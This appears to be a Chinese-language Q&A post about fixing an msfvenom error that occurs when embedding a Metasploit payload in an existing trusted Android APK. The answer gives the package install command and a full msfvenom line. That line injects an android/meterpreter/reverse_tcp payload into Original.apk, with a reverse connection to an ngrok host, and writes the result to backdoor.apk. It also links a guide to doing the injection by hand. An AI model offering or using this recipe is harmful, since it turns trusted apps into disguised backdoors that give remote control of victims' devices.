问题描述
我正在创建一个APK以在我的android设备上对其进行测试,以便可以远程访问它。当我输入用于使用现有的受信任的APK创建APK的所有信息时,这将显示错误(已安装Metasploit)msfvenom-error
但是当我通过创建一个新的未签名的APK时,它就成功创建了。我可以使用metasploit提供的功能。
解决方法
打开终端并输入以下命令
apt-get install lib32stdc++6 lib32ncurses5 lib32z1 apktool
然后输入
msfvenom -x Original.apk -p android/meterpreter/reverse_tcp LHOST=ngrok_ip_here LPORT=port_here -o backdoor.apk
如果以上方法都不适合您,请尝试手动注入有效载荷。请参阅本文以手动注入有效负载。 https://null-byte.wonderhowto.com/how-to/embed-metasploit-payload-original-apk-file-part-2-do-manually-0167124/